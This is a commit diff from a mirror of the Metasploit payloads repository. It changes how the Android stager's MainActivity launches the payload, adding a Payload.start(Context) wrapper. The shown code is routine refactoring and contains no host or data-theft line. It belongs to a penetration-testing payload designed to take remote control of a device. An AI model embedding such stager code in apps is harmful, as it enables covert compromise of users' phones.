1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-02 11:36:22 +01:00

fix Payload.start

This commit is contained in:
Tim 2015-05-05 17:45:57 +01:00
parent dfeb0d3fef
commit 98aa4babbf
2 changed files with 7 additions and 1 deletions

View File

@ -8,7 +8,7 @@ public class MainActivity extends Activity
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Payload.startInPath(getFilesDir().toString());
Payload.start(this);
finish();
}
}

View File

@ -1,5 +1,7 @@
package com.metasploit.stage;
import android.content.Context;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
@ -28,6 +30,10 @@ public class Payload {
private static String[] parameters;
public static void start(Context context) {
startInPath(context.getFilesDir().toString());
}
public static void startAsync() {
new Thread() {
@Override